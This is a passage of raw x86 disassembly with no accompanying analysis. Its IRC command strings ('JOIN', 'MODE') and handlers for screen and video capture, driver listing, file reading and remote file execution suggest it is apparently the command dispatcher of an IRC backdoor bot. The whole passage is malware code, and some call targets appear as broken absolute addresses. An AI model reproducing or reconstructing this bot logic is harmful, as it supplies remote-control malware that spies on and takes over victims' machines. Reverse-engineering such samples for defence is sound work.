		call	sub_40B0F7
		add	esp, 1Ch
		mov	[ebp+var_2094],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2218]
		push	ebx
		push	eax
		push	offset dword_4143CC
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0000h
		mov	ecx, [ebp+var_2094]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E594[ecx], eax
		jz	short loc_40884C


loc_40883A:				; CODE XREF: sub_401ACD+6D7Dj
		cmp	[ebp+var_2088],	ebx
		jnz	short loc_408867
		push	32h
		nop
		call	near ptr 2690F63h
		jmp	short loc_40883A
; ---------------------------------------------------------------------------


loc_40884C:				; CODE XREF: sub_401ACD+6D6Bj
		nop
		call	near ptr 26A08B1h
		push	eax
		push	offset unk_42A524


loc_408858:				; CODE XREF: sub_401ACD+6E8Aj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_408867:				; CODE XREF: sub_401ACD+6D73j
					; sub_401ACD+6E6Ej
		cmp	[ebp+var_8], ebx
		jnz	loc_409631
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_409629
; ---------------------------------------------------------------------------


loc_408887:				; CODE XREF: sub_401ACD+4A14j
					; sub_401ACD+4A2Bj
		push	7Fh
		lea	eax, [ebp+var_23A8]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2328]
		push	edi
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_22A8]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 24h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2224],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_2220],	eax
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_23AC],	esi
		push	offset dword_42A4F8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	11h
		push	eax
		call	sub_40B0F7
		add	esp, 1Ch
		mov	[ebp+var_2228],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_23AC]
		push	ebx
		push	eax
		push	offset dword_413B78
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0000h
		mov	ecx, [ebp+var_2228]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E594[ecx], eax
		jz	short loc_40894B


loc_408935:				; CODE XREF: sub_401ACD+6E7Cj
		cmp	[ebp+var_221C],	ebx
		jnz	loc_408867
		push	32h
		nop
		call	near ptr 2690F63h
		jmp	short loc_408935
; ---------------------------------------------------------------------------


loc_40894B:				; CODE XREF: sub_401ACD+6E66j
		nop
		call	near ptr 26A08B1h
		push	eax
		push	offset dword_42A4BC
		jmp	loc_408858
; ---------------------------------------------------------------------------


loc_40895C:				; CODE XREF: sub_401ACD+49E6j
					; sub_401ACD+49FDj
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A4B4
		push	eax
		call	sub_41B886
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 10h


loc_408979:				; CODE XREF: sub_401ACD+6F17j
		test	eax, eax
		jle	loc_409855
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409855


loc_408995:				; CODE XREF: sub_401ACD+7A56j
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A4AC
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E58C[eax]
		call	sub_409A2D
		jmp	loc_404934
; ---------------------------------------------------------------------------


loc_4089C0:				; CODE XREF: sub_401ACD+49B8j
					; sub_401ACD+49CFj
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset dword_42A4A0
		push	eax
		call	sub_41B886
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		jmp	short loc_408979
; ---------------------------------------------------------------------------


loc_4089E6:				; CODE XREF: sub_401ACD+498Aj
					; sub_401ACD+49A1j
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB4C
		push	eax
		call	sub_41B886
		mov	esi, [ebp+arg_10]
		push	esi
		call	sub_41B779
		add	esp, 10h
		test	eax, eax
		jle	loc_409855
		push	esi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409855
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A4AC
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E58C[eax]
		call	sub_409A2D
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset dword_42A484


loc_408A4C:				; CODE XREF: sub_401ACD+700Aj
					; sub_401ACD+7079j ...
		call	sub_415221
		jmp	loc_404934
; ---------------------------------------------------------------------------


loc_408A56:				; CODE XREF: sub_401ACD+495Cj
					; sub_401ACD+4973j
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408A85
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A47C
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_408A85:				; CODE XREF: sub_401ACD+6FA1j
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409855
		push	edi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409855
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A4AC
		push	edi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E58C[eax]
		call	sub_409A2D
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_42A460
		jmp	loc_408A4C
; ---------------------------------------------------------------------------


loc_408ADC:				; CODE XREF: sub_401ACD+492Ej
					; sub_401ACD+4945j
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409855
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409855
		push	edi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409855
		push	esi
		push	offset dword_42A4AC
		push	edi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E58C[eax]
		call	sub_409A2D
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_42A444
		jmp	loc_408A4C
; ---------------------------------------------------------------------------


loc_408B4B:				; CODE XREF: sub_401ACD+4900j
					; sub_401ACD+4917j
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409855
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 0Ch
		push	esi
		push	offset unk_42A41C
		jmp	loc_40984E
; ---------------------------------------------------------------------------


loc_408B87:				; CODE XREF: sub_401ACD+48D2j
					; sub_401ACD+48E9j
		push	[ebp+var_8C]
		push	offset dword_42D01C
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		push	edi
		push	offset dword_42A410
		push	[ebp+arg_4]
		call	sub_409A2D
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		call	near ptr 2690F63h
		nop
		push	[ebp+esi+var_84]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		push	offset dword_42A3FC
		call	sub_4151AD
		jmp	loc_403520
; ---------------------------------------------------------------------------


loc_408BEB:				; CODE XREF: sub_401ACD+48A4j
					; sub_401ACD+48BBj
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	[ebp+arg_10]
		call	sub_41AFE0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	edi
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409855
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42AB30
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 20h
		push	esi
		push	[ebp+arg_10]
		push	offset unk_42A3E0
		jmp	loc_408A4C
; ---------------------------------------------------------------------------


loc_408C58:				; CODE XREF: sub_401ACD+4876j
					; sub_401ACD+488Dj
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	[ebp+arg_10]
		call	sub_41AFE0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	edi
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409855
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h
		push	esi
		push	[ebp+arg_10]
		push	offset unk_42A3C0
		jmp	loc_408A4C
; ---------------------------------------------------------------------------


loc_408CAD:				; CODE XREF: sub_401ACD+4848j
					; sub_401ACD+485Fj
		cmp	[ebp+var_C], ebx
		jz	loc_401E94
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401E94
		push	eax
		push	[ebp+arg_10]
		call	sub_4150B5
		pop	ecx
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_42A3A0


loc_408CDC:				; CODE XREF: sub_401ACD+5853j
					; sub_401ACD+7B2Bj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_409610
; ---------------------------------------------------------------------------


loc_408CF0:				; CODE XREF: sub_401ACD+481Aj
					; sub_401ACD+4831j
		push	edi
		push	[ebp+arg_10]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4184E2
		jmp	loc_4040FD
; ---------------------------------------------------------------------------


loc_408D0A:				; CODE XREF: sub_401ACD+47DCj
					; sub_401ACD+47F1j
		push	[ebp+arg_10]
		push	[ebp+arg_1C]
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409855
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jz	loc_408DB2
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408D9A
		push	esi
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A5F4
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	[ebp+arg_10]
		push	offset unk_42A378
		push	eax
		call	sub_41B886
		add	esp, 10h
		inc	[ebp+arg_24]
		jmp	loc_40877B
; ---------------------------------------------------------------------------


loc_408D9A:				; CODE XREF: sub_401ACD+7270j
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A348
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_40877B
; ---------------------------------------------------------------------------


loc_408DB2:				; CODE XREF: sub_401ACD+725Bj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41ACF7
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	offset dword_42A32C
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		jmp	loc_40877B
; ---------------------------------------------------------------------------


loc_408DFE:				; CODE XREF: sub_401ACD+47B2j
					; sub_401ACD+47C7j
		push	offset aScreen	; "screen"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408E59
		mov	edi, [ebp+esi+var_88]
		cmp	edi, ebx
		jz	short loc_408E46
		push	edi
		call	sub_4153BD
		cmp	eax, 1
		pop	ecx
		jnz	short loc_408E3F
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A2F8
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_408E59
; ---------------------------------------------------------------------------


loc_408E3F:				; CODE XREF: sub_401ACD+7359j
		push	offset unk_42A2C8
		jmp	short loc_408E4B
; ---------------------------------------------------------------------------


loc_408E46:				; CODE XREF: sub_401ACD+734Dj
		push	offset unk_42A28C


loc_408E4B:				; CODE XREF: sub_401ACD+7377j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_408E59:				; CODE XREF: sub_401ACD+7342j
					; sub_401ACD+7370j
		push	offset aDrivers	; "drivers"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408EE6
		xor	edi, edi


loc_408E6E:				; CODE XREF: sub_401ACD+7404j
		lea	eax, [ebp+var_53F8]
		push	1FFh
		push	eax
		lea	eax, [ebp+var_4EF0]
		push	0FFh
		push	eax
		push	edi
		call	dword_4CB674
		test	eax, eax
		jz	short loc_408ECD
		lea	eax, [ebp+var_53F8]
		push	eax
		lea	eax, [ebp+var_4EF0]
		push	eax
		push	edi
		lea	eax, [ebp+var_5D88]
		push	offset unk_42A25C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_5D88]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 28h


loc_408ECD:				; CODE XREF: sub_401ACD+73C2j
		inc	edi
		cmp	edi, 0Ah
		jl	short loc_408E6E
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A234
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_408EE6:				; CODE XREF: sub_401ACD+739Dj
		push	offset aFrame	; "frame"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408F87
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_408F74
		cmp	[ebp+esi+var_84], ebx
		jz	short loc_408F74
		mov	edi, [ebp+esi+var_80]
		cmp	edi, ebx
		jz	short loc_408F74
		mov	eax, [ebp+esi+var_7C]
		cmp	eax, ebx
		jz	short loc_408F74
		push	eax
		call	sub_41B779
		pop	ecx
		push	eax
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_4155F8
		add	esp, 10h
		test	eax, eax
		jnz	short loc_408F6D
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A200
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_408F87
; ---------------------------------------------------------------------------


loc_408F6D:				; CODE XREF: sub_401ACD+7481j
		push	offset unk_42A1CC
		jmp	short loc_408F79
; ---------------------------------------------------------------------------


loc_408F74:				; CODE XREF: sub_401ACD+7437j
					; sub_401ACD+7440j ...
		push	offset unk_42A194


loc_408F79:				; CODE XREF: sub_401ACD+74A5j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_408F87:				; CODE XREF: sub_401ACD+742Aj
					; sub_401ACD+749Ej
		push	offset aVideo	; "video"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40875A
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_1C], eax
		jz	short loc_40901F
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_40901F
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_40901F
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		jz	short loc_40901F
		mov	esi, [ebp+esi+var_78]
		cmp	esi, ebx
		jz	short loc_40901F
		push	esi
		call	sub_41B779
		pop	ecx
		push	eax
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_18]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_1C]
		call	sub_4157F1
		add	esp, 14h
		test	eax, eax
		jnz	short loc_409015
		push	[ebp+arg_1C]
		push	offset unk_42A160
		jmp	loc_40874B
; ---------------------------------------------------------------------------


loc_409015:				; CODE XREF: sub_401ACD+7539j
		push	offset unk_42A120
		jmp	loc_4090E3
; ---------------------------------------------------------------------------


loc_40901F:				; CODE XREF: sub_401ACD+74DDj
					; sub_401ACD+74EBj ...
		push	offset unk_42A0E0
		jmp	loc_4090E3
; ---------------------------------------------------------------------------


loc_409029:				; CODE XREF: sub_401ACD+4042j
					; sub_401ACD+4057j
		push	offset aR	; "r"
		push	[ebp+arg_10]
		call	sub_41B4C2
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	short loc_409099
		mov	esi, 200h
		push	edi
		lea	eax, [ebp+var_2C4]
		push	esi
		push	eax
		call	sub_41BB4F
		add	esp, 0Ch


loc_409054:				; CODE XREF: sub_401ACD+75B6j
		test	eax, eax
		jz	short loc_409085
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		push	edi
		lea	eax, [ebp+var_2C4]
		push	esi
		push	eax
		call	sub_41BB4F
		add	esp, 20h
		jmp	short loc_409054
; ---------------------------------------------------------------------------


loc_409085:				; CODE XREF: sub_401ACD+7589j
		push	edi
		call	sub_41B05B
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_42A0BC
		jmp	loc_409227
; ---------------------------------------------------------------------------


loc_409099:				; CODE XREF: sub_401ACD+756Fj
		push	[ebp+arg_10]
		push	offset unk_42A098
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_4090A6:				; CODE XREF: sub_401ACD+4018j
					; sub_401ACD+402Dj
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409855
		push	offset asc_42A094 ; "\n"
		push	esi
		call	sub_41BEC0
		push	esi
		call	sub_419A51
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4090F6
		push	offset unk_42A068


loc_4090E3:				; CODE XREF: sub_401ACD+754Dj
					; sub_401ACD+7557j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_40875A
; ---------------------------------------------------------------------------


loc_4090F6:				; CODE XREF: sub_401ACD+760Fj
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A050
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_40877B
; ---------------------------------------------------------------------------


loc_409110:				; CODE XREF: sub_401ACD+3FEEj
					; sub_401ACD+4003j
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_409855
		push	eax
		call	sub_418212
		test	eax, eax
		pop	ecx
		jnz	short loc_409140
		push	offset unk_42A030
		jmp	short loc_4090E3
; ---------------------------------------------------------------------------


loc_409140:				; CODE XREF: sub_401ACD+766Aj
		push	offset dword_42A014
		jmp	short loc_4090E3
; ---------------------------------------------------------------------------


loc_409147:				; CODE XREF: sub_401ACD+3FC4j
					; sub_401ACD+3FD9j
		push	7Fh
		lea	eax, [ebp+var_2080]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		mov	esi, [ebp+esi+var_88]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_409178
		push	7Fh
		lea	eax, [ebp+var_2000]
		push	esi
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_409178:				; CODE XREF: sub_401ACD+7697j
		push	7Fh
		lea	eax, [ebp+var_1F80]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_2084],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_10]
		mov	[ebp+var_1EFC],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1EF8],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_429FFC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ch
		push	eax
		call	sub_40B0F7
		add	esp, 18h
		mov	[ebp+var_1F00],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2084]
		push	ebx
		push	eax
		push	offset sub_41ADB6
		push	ebx
		push	ebx
		call	near ptr 26A0000h
		nop
		mov	ecx, [ebp+var_1F00]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E594[ecx], eax
		jz	short loc_40921B


loc_409205:				; CODE XREF: sub_401ACD+774Cj
		cmp	[ebp+var_1EF4],	ebx
		jnz	loc_406D00
		push	32h
		nop
		call	near ptr 2690F63h
		jmp	short loc_409205
; ---------------------------------------------------------------------------


loc_40921B:				; CODE XREF: sub_401ACD+7736j
		nop
		call	near ptr 26A08B1h
		push	eax
		push	offset unk_429FBC


loc_409227:				; CODE XREF: sub_401ACD+29CFj
					; sub_401ACD+75C7j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_406D00
; ---------------------------------------------------------------------------


loc_40923B:				; CODE XREF: sub_401ACD+3F9Aj
					; sub_401ACD+3FAFj
		push	ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_10]
		call	sub_40F96B
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset dword_429FA4
		jmp	loc_40984E
; ---------------------------------------------------------------------------


loc_40925D:				; CODE XREF: sub_401ACD+3F70j
					; sub_401ACD+3F85j
		push	14h
		lea	eax, [ebp+var_1D48]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1D34]
		push	[ebp+arg_10]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_1D50],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_1C30]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1BA8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1BA4],	eax
		lea	eax, [ebp+var_1C30]
		push	eax
		lea	eax, [ebp+var_1D34]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_429F80
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B0F7
		add	esp, 1Ch
		mov	[ebp+var_1BAC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1D50]
		push	ebx
		push	eax
		push	offset loc_415E1B
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0000h
		mov	ecx, [ebp+var_1BAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E594[ecx], eax
		jz	loc_4023E6


loc_409326:				; CODE XREF: sub_401ACD+786Dj
		cmp	[ebp+var_1BA0],	ebx
		jnz	loc_4083BD
		push	32h
		nop
		call	near ptr 2690F63h
		jmp	short loc_409326
; ---------------------------------------------------------------------------


loc_40933C:				; CODE XREF: sub_401ACD+3F46j
					; sub_401ACD+3F5Bj
		push	[ebp+arg_10]
		nop
		call	near ptr 26A01C9h
		test	eax, eax
		jz	short loc_409367
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset dword_429F64
		push	200h
		push	eax
		call	sub_41B980
		jmp	loc_409445
; ---------------------------------------------------------------------------


loc_409367:				; CODE XREF: sub_401ACD+787Aj
		push	offset dword_42A76C
		call	sub_41814D
		pop	ecx
		push	eax
		jmp	loc_403F48
; ---------------------------------------------------------------------------


loc_409378:				; CODE XREF: sub_401ACD+3F1Cj
					; sub_401ACD+3F31j
		push	[ebp+arg_10]
		call	sub_41B779
		push	eax
		call	sub_4199CA
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		push	[ebp+arg_10]
		cmp	eax, esi
		jnz	short loc_409399
		push	offset unk_429F40
		jmp	short loc_40939E
; ---------------------------------------------------------------------------


loc_409399:				; CODE XREF: sub_401ACD+78C3j
		push	offset unk_429F10


loc_40939E:				; CODE XREF: sub_401ACD+78CAj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_406D03
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h
		jmp	loc_406D03
; ---------------------------------------------------------------------------


loc_4093D7:				; CODE XREF: sub_401ACD+3EF2j
					; sub_401ACD+3F07j
		push	ebx
		push	ebx
		push	[ebp+arg_10]
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_4196BD
		add	esp, 18h
		cmp	eax, 1
		push	[ebp+arg_10]
		jnz	short loc_4093FD
		push	offset unk_429EF0
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_4093FD:				; CODE XREF: sub_401ACD+7924j
		push	offset unk_429EC0
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_409407:				; CODE XREF: sub_401ACD+3EC8j
					; sub_401ACD+3EDDj
		mov	esi, [ebp+arg_10]
		push	esi
		call	dword_4CB684
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_2D8], eax
		jz	short loc_40944D
		push	2
		lea	eax, [ebp+var_2D8]
		push	4
		push	eax
		call	dword_4CB5FC
		cmp	eax, ebx
		jz	short loc_409468
		push	dword ptr [eax]


loc_409433:				; CODE XREF: sub_401ACD+7999j
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset unk_429EA0
		push	eax
		call	sub_41B886


loc_409445:				; CODE XREF: sub_401ACD+7895j
		add	esp, 10h
		jmp	loc_406CDF
; ---------------------------------------------------------------------------


loc_40944D:				; CODE XREF: sub_401ACD+794Dj
		push	esi
		call	dword_4CB6C8
		cmp	eax, ebx
		jz	short loc_409468
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_4CB6D0
		push	eax
		jmp	short loc_409433
; ---------------------------------------------------------------------------


loc_409468:				; CODE XREF: sub_401ACD+7962j
					; sub_401ACD+7989j
		push	offset unk_429E78
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_409472:				; CODE XREF: sub_401ACD+3E9Ej
					; sub_401ACD+3EB3j
		push	7Fh
		push	[ebp+arg_10]
		push	[ebp+arg_14]
		call	sub_41B5F0
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_429E50
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_40948F:				; CODE XREF: sub_401ACD+3E74j
					; sub_401ACD+3E89j
		push	5
		push	ebx
		push	ebx
		push	[ebp+arg_10]
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CB5B0
		push	[ebp+arg_10]
		test	eax, eax
		jz	short loc_4094B3
		push	offset unk_429E30
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_4094B3:				; CODE XREF: sub_401ACD+79DAj
		push	offset unk_429E0C
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_4094BD:				; CODE XREF: sub_401ACD+3E4Aj
					; sub_401ACD+3E5Fj
		mov	eax, [ebp+arg_10]
		mov	cl, [eax]
		mov	byte_429094, cl
		movsx	eax, byte ptr [eax]
		push	eax
		push	offset unk_429DE4
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_4094D6:				; CODE XREF: sub_401ACD+3E20j
					; sub_401ACD+3E35j
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409855
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409855
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40B08E
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB4C
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_408995
; ---------------------------------------------------------------------------


loc_409528:				; CODE XREF: sub_401ACD+3DF6j
					; sub_401ACD+3E0Bj
		mov	esi, [ebp+arg_10]
		push	esi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_401E94
		push	esi
		call	sub_41B779
